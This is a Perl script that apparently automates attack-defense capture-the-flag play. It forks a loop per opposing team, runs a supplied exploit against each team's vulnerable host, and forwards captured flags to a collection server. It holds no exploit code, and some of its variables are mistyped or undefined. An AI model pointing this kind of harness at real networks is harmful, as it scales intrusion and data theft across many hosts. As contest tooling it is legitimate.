#!/usr/bin/perl
$|++;

### Change this
our $exploit='./exploit'; #Exploit file name!
our $exploit_name='EXPLOIT_NAME'; #<<<<<<<<< Won`t work if you don`t change it!


### Do not touch!

our $server_ip='10.15.1.130';
our $server_port=62674;

our $logs_dir='logs';
our $log=$logs_dir . '/' . $exploit . '.txt';
our $exploit_timeout=20;

our $sleep_before_next_loop=1;
our $teams_file='teams.txt';

our $vulnerable_box_suffix='3'; ###<<<!


our %teams_pid;
our %exploit_id;

use lib 'mods';
use viable_socket;
use POSIX ":sys_wait_h";
use POSIX;
use Socket;

die 'Change $exploit_name !' if ($exploit_name eq 'EXPLOIT_NAME');

start();
$SIG{CHLD} = \&REAPER;
serve();


sub REAPER
{
    my $child;
    my $team;
    # If a second child dies while in the signal handler caused by the
    # first death, we won't get another signal. So must loop here else
    # we will leave the unreaped child as a zombie. And the next time
    # two children die we get another zombie. And so on.
    while (($child = waitpid(-1,WNOHANG)) > 0)
    {
	#$Kid_Status{$child} = $?;
	my $status=$?;
	$team=$teams_pid{$child};
	print "-- Team $team loop end. Status: $status\n";
	print "Somthing wrong in script with team $team\n" if ($status != 0);
	delete $teams_pid{$child};

	doit_start($team);
    } 
    $SIG{CHLD} = \&REAPER;  # still loathe sysV
}

sub alarmer
{
    print "In process $$ team $team killing $exploit_pid\n";
    kill TERM,$exploit_pid;
    sleep(1);
    kill KILL,$sxploit_pid;
    close($exploit_fd);
}

$SIG{CHLD} = \&REAPER;
$SIG{ALRM} = \&alarmer;



sub make_socket
{
    my $sock;
    my $remote  = $server_ip;
    my $port    = $server_port;
    my $iaddr   = inet_aton($remote) or die("no host: $remote");
    my $paddr   = sockaddr_in($port, $iaddr);

    my $proto   = getprotobyname('tcp');
    socket($sock, PF_INET, SOCK_STREAM, $proto)  or die("socket: $!");
    connect($sock, $paddr) or die("connect: $!");

    select $sock;
    $|++;
    select STDOUT;

    print $sock "$exploit_name $team\r\n";
    
    return $sock;
}
						    

sub send_flag
{
    my $flag=shift;
    $server->print("$flag\r\n");
}

sub doit_one
{
    our $team=shift;
    my $e;
    our $server=new viable_socket(\&make_socket);

    while(1)
    {
    
	print ">>>Team $team next loop!\n";
	our $exploit_fd;
	our $exploit_pid=open $exploit_fd,"$exploit $team 2>> $log |";
	alarm($exploit_timeout);
	while(<$exploit_fd>)
	{
	    alarm 0;
	    s/[\r\n]+$//g;
	    send_flag($_);
	    alarm($exploit_timeout);
	}
	alarm 0;
	close($exploit_fd);
	my $status=$?;
#	print "\t\tTeam $team ends loop and relaxing a bit before next\n";
	sleep($sleep_before_next_loop);
#	print "\t\tTeam $team > next loop!\n";
    }
    exit($status);
}

sub doit_start
{
    my $team=shift;
    my $pid=fork();

    if ($pid > 0) #parent
    {
	$teams_pid{$pid}=$team;
    }elsif ($pid==0) #child
    {
	doit_one($team);
    }else #error
    {
	print "Internal Error: Can`t fork!\n";
	return 1;
    }
    return 0;
}

sub start
{
    print "Starting...\n";
    open F,$teams_file or die "Can`t open team file '$teams_file' : $!\n";
    while (<F>)
    {
	next if (/^#/);
	chomp;
	/^(.+?)\t+(.+)$/;
	$t=$1;
	$ip=$2;
	next if ($t =~ /^$team$/i);
	$ip.=$vulnerable_box_suffix;
	print "Starting '$1' team, IP: '$ip'\n";
        doit_start($ip);
    }
}

sub serve
{
    while (1)
    {
	sleep 12000; #do nothing :) Just waiting for signal
    }
}
